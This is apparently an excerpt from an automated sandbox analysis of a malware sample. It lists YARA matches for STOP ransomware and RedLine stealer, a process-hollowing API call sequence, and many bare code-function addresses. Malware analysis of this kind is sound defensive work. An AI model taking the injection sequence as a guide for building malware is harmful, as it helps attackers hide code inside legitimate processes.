Source: 5.2.sbvN2ih5AU.exe.25e15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 5.2.sbvN2ih5AU.exe.25e15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 6.2.sbvN2ih5AU.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 6.2.sbvN2ih5AU.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 9.2.sbvN2ih5AU.exe.26215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 9.2.sbvN2ih5AU.exe.26215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 13.2.sbvN2ih5AU.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 13.2.sbvN2ih5AU.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 9.2.sbvN2ih5AU.exe.26215a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 9.2.sbvN2ih5AU.exe.26215a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 4.2.sbvN2ih5AU.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 4.2.sbvN2ih5AU.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0.2.sbvN2ih5AU.exe.26f15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0.2.sbvN2ih5AU.exe.26f15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0.2.sbvN2ih5AU.exe.26f15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0.2.sbvN2ih5AU.exe.26f15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 12.2.sbvN2ih5AU.exe.27e15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 12.2.sbvN2ih5AU.exe.27e15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 6.2.sbvN2ih5AU.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 6.2.sbvN2ih5AU.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 1.2.sbvN2ih5AU.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 1.2.sbvN2ih5AU.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 1.2.sbvN2ih5AU.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 1.2.sbvN2ih5AU.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 12.2.sbvN2ih5AU.exe.27e15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 12.2.sbvN2ih5AU.exe.27e15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 3.2.sbvN2ih5AU.exe.26b15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 3.2.sbvN2ih5AU.exe.26b15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000007.00000002.1798985147.0000000000603000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.1664626535.0000000002556000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000005.00000002.1693681111.0000000002545000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000003.00000002.1688480237.00000000026B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000006.00000002.2927187768.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000006.00000002.2927187768.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000000A.00000002.1834461472.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000A.00000002.1834461472.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000000D.00000002.1897177575.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000D.00000002.1897177575.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000000C.00000002.1887388348.0000000002504000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.1664717343.00000000026F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000C.00000002.1887517098.00000000027E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000009.00000002.1813074892.0000000000A95000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000009.00000002.1813253516.0000000002620000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000003.00000002.1688362361.000000000256B000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000005.00000002.1693753075.00000000025E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: sbvN2ih5AU.exe PID: 7336, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: sbvN2ih5AU.exe PID: 7356, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: sbvN2ih5AU.exe PID: 7456, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: sbvN2ih5AU.exe PID: 7472, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: sbvN2ih5AU.exe PID: 7516, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: sbvN2ih5AU.exe PID: 7532, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: sbvN2ih5AU.exe PID: 7704, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: sbvN2ih5AU.exe PID: 7732, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: sbvN2ih5AU.exe PID: 8060, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: sbvN2ih5AU.exe PID: 8080, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 0_2_026F0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,		0_2_026F0110
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 3_2_026B0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,		3_2_026B0110

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 0_2_026F7220	0_2_026F7220
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 0_2_027722C0	0_2_027722C0
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 0_2_0273E37C	0_2_0273E37C
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 0_2_026F7393	0_2_026F7393
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 0_2_0270F030	0_2_0270F030
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 0_2_026FA026	0_2_026FA026
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 0_2_026FB000	0_2_026FB000
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 0_2_026F70E0	0_2_026F70E0
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 0_2_026F30F0	0_2_026F30F0
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 0_2_027000D0	0_2_027000D0
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 0_2_026FB0B0	0_2_026FB0B0
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 0_2_0273E141	0_2_0273E141
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 0_2_026F9120	0_2_026F9120
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 0_2_0271D1A4	0_2_0271D1A4
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 0_2_026FE6E0	0_2_026FE6E0
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 0_2_0273B69F	0_2_0273B69F
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 0_2_026FA699	0_2_026FA699
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 0_2_026FC760	0_2_026FC760
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 0_2_0271D7F1	0_2_0271D7F1
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 0_2_026FA79A	0_2_026FA79A
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 0_2_026F3520	0_2_026F3520
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 0_2_026F7520	0_2_026F7520
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 0_2_026FCA10	0_2_026FCA10
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 0_2_026F7A80	0_2_026F7A80
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 0_2_026F2B60	0_2_026F2B60
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 0_2_02700B00	0_2_02700B00
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 0_2_026FDBE0	0_2_026FDBE0
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 0_2_027118D0	0_2_027118D0
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 0_2_026F7880	0_2_026F7880
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 0_2_026FA916	0_2_026FA916
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 0_2_026F59F7	0_2_026F59F7
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 0_2_026F89D0	0_2_026F89D0
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 0_2_0271F9B0	0_2_0271F9B0
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 0_2_0271E9A3	0_2_0271E9A3
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 0_2_026F8E60	0_2_026F8E60
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 0_2_02724E9F	0_2_02724E9F
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 0_2_02732D1E	0_2_02732D1E
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 0_2_026F5DE7	0_2_026F5DE7
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 0_2_026F5DF7	0_2_026F5DF7
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_0040D240	1_2_0040D240
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_00419F90	1_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_00405057	1_2_00405057
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_0040C070	1_2_0040C070
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_0042E003	1_2_0042E003
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_0042F010	1_2_0042F010
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_00408030	1_2_00408030
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_004070E0	1_2_004070E0
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_00410160	1_2_00410160
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_004C8113	1_2_004C8113
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_004021C0	1_2_004021C0
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_004C9343	1_2_004C9343
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_0044237E	1_2_0044237E
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_00405447	1_2_00405447
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_00405457	1_2_00405457
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_004084C0	1_2_004084C0
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_004344FF	1_2_004344FF
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_00449506	1_2_00449506
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_0044B5B1	1_2_0044B5B1
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_0040A660	1_2_0040A660
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_00409686	1_2_00409686
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_0041E690	1_2_0041E690
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_00406740	1_2_00406740
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_00402750	1_2_00402750
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_0040A710	1_2_0040A710
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_0040F730	1_2_0040F730
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_00408780	1_2_00408780
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_0044D7A1	1_2_0044D7A1
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_0042C804	1_2_0042C804
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_00406880	1_2_00406880
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_00481920	1_2_00481920
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_0044D9DC	1_2_0044D9DC
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_004069F3	1_2_004069F3
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_00449A71	1_2_00449A71
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_00443B40	1_2_00443B40
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_00402B80	1_2_00402B80
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_00406B80	1_2_00406B80
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_00409CF9	1_2_00409CF9
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_0044ACFF	1_2_0044ACFF
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_0040DD40	1_2_0040DD40
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_00427D6C	1_2_00427D6C
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_0040BDC0	1_2_0040BDC0
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_00409DFA	1_2_00409DFA
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_0042CE51	1_2_0042CE51
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_00406EE0	1_2_00406EE0
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_00409F76	1_2_00409F76
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_00420F30	1_2_00420F30
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_00449FE3	1_2_00449FE3
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 3_2_026B7220	3_2_026B7220
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 3_2_027322C0	3_2_027322C0
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 3_2_026FE37C	3_2_026FE37C
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 3_2_026B7393	3_2_026B7393
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 3_2_026BA026	3_2_026BA026
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 3_2_026CF030	3_2_026CF030
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 3_2_026BB000	3_2_026BB000
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 3_2_026B70E0	3_2_026B70E0
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 3_2_026B30F0	3_2_026B30F0
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 3_2_026C00D0	3_2_026C00D0
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 3_2_026BB0B0	3_2_026BB0B0
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 3_2_026FE141	3_2_026FE141
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 3_2_026B9120	3_2_026B9120
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 3_2_026DD1A4	3_2_026DD1A4
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 3_2_026BE6E0	3_2_026BE6E0
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 3_2_026FB69F	3_2_026FB69F
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 3_2_026BA699	3_2_026BA699
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 3_2_026BC760	3_2_026BC760
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 3_2_026DD7F1	3_2_026DD7F1
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 3_2_026BA79A	3_2_026BA79A
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 3_2_026B3520	3_2_026B3520
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 3_2_026B7520	3_2_026B7520
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 3_2_026BCA10	3_2_026BCA10
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 3_2_026B7A80	3_2_026B7A80
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 3_2_026B2B60	3_2_026B2B60
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 3_2_026C0B00	3_2_026C0B00
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 3_2_026BDBE0	3_2_026BDBE0
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 3_2_026D18D0	3_2_026D18D0
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 3_2_026B7880	3_2_026B7880
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 3_2_026BA916	3_2_026BA916
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 3_2_026B59F7	3_2_026B59F7
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 3_2_026B89D0	3_2_026B89D0
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 3_2_026DE9A3	3_2_026DE9A3
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 3_2_026DF9B0	3_2_026DF9B0
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 3_2_026B8E60	3_2_026B8E60
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 3_2_026E4E9F	3_2_026E4E9F
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 3_2_026F2D1E	3_2_026F2D1E
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 3_2_026B5DE7	3_2_026B5DE7
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 3_2_026B5DF7	3_2_026B5DF7
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0042E003	4_2_0042E003
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0040D240	4_2_0040D240
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0041E690	4_2_0041E690
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0040F730	4_2_0040F730
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_00481920	4_2_00481920
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_00419F90	4_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0050D050	4_2_0050D050
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_00405057	4_2_00405057
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0040C070	4_2_0040C070
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0042F010	4_2_0042F010
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0050D008	4_2_0050D008
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_00408030	4_2_00408030
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0050D028	4_2_0050D028
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_004070E0	4_2_004070E0
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0050D090	4_2_0050D090
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0050D0A8	4_2_0050D0A8
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_00410160	4_2_00410160
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_004C8113	4_2_004C8113
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_004021C0	4_2_004021C0
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_004C9343	4_2_004C9343
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0044237E	4_2_0044237E
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_00405447	4_2_00405447
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_00405457	4_2_00405457
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_004084C0	4_2_004084C0
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0050C4E0	4_2_0050C4E0
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_004344FF	4_2_004344FF
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_00449506	4_2_00449506
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0044B5B1	4_2_0044B5B1
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0040A660	4_2_0040A660
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_00409686	4_2_00409686
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_00406740	4_2_00406740
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_00402750	4_2_00402750
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0040A710	4_2_0040A710
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_00408780	4_2_00408780
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0044D7A1	4_2_0044D7A1
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0042C804	4_2_0042C804
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_00406880	4_2_00406880
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0050C960	4_2_0050C960
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0050C928	4_2_0050C928
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0044D9DC	4_2_0044D9DC
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_004069F3	4_2_004069F3
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0050C988	4_2_0050C988
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0050C9A8	4_2_0050C9A8
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_00449A71	4_2_00449A71
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_004E1AB0	4_2_004E1AB0
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_00443B40	4_2_00443B40
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0050CB78	4_2_0050CB78
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_00402B80	4_2_00402B80
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_00406B80	4_2_00406B80
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_00409CF9	4_2_00409CF9
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0044ACFF	4_2_0044ACFF
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0040DD40	4_2_0040DD40
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0050CD60	4_2_0050CD60
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0040BDC0	4_2_0040BDC0
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0050CDF0	4_2_0050CDF0
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_00409DFA	4_2_00409DFA
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0050CE58	4_2_0050CE58
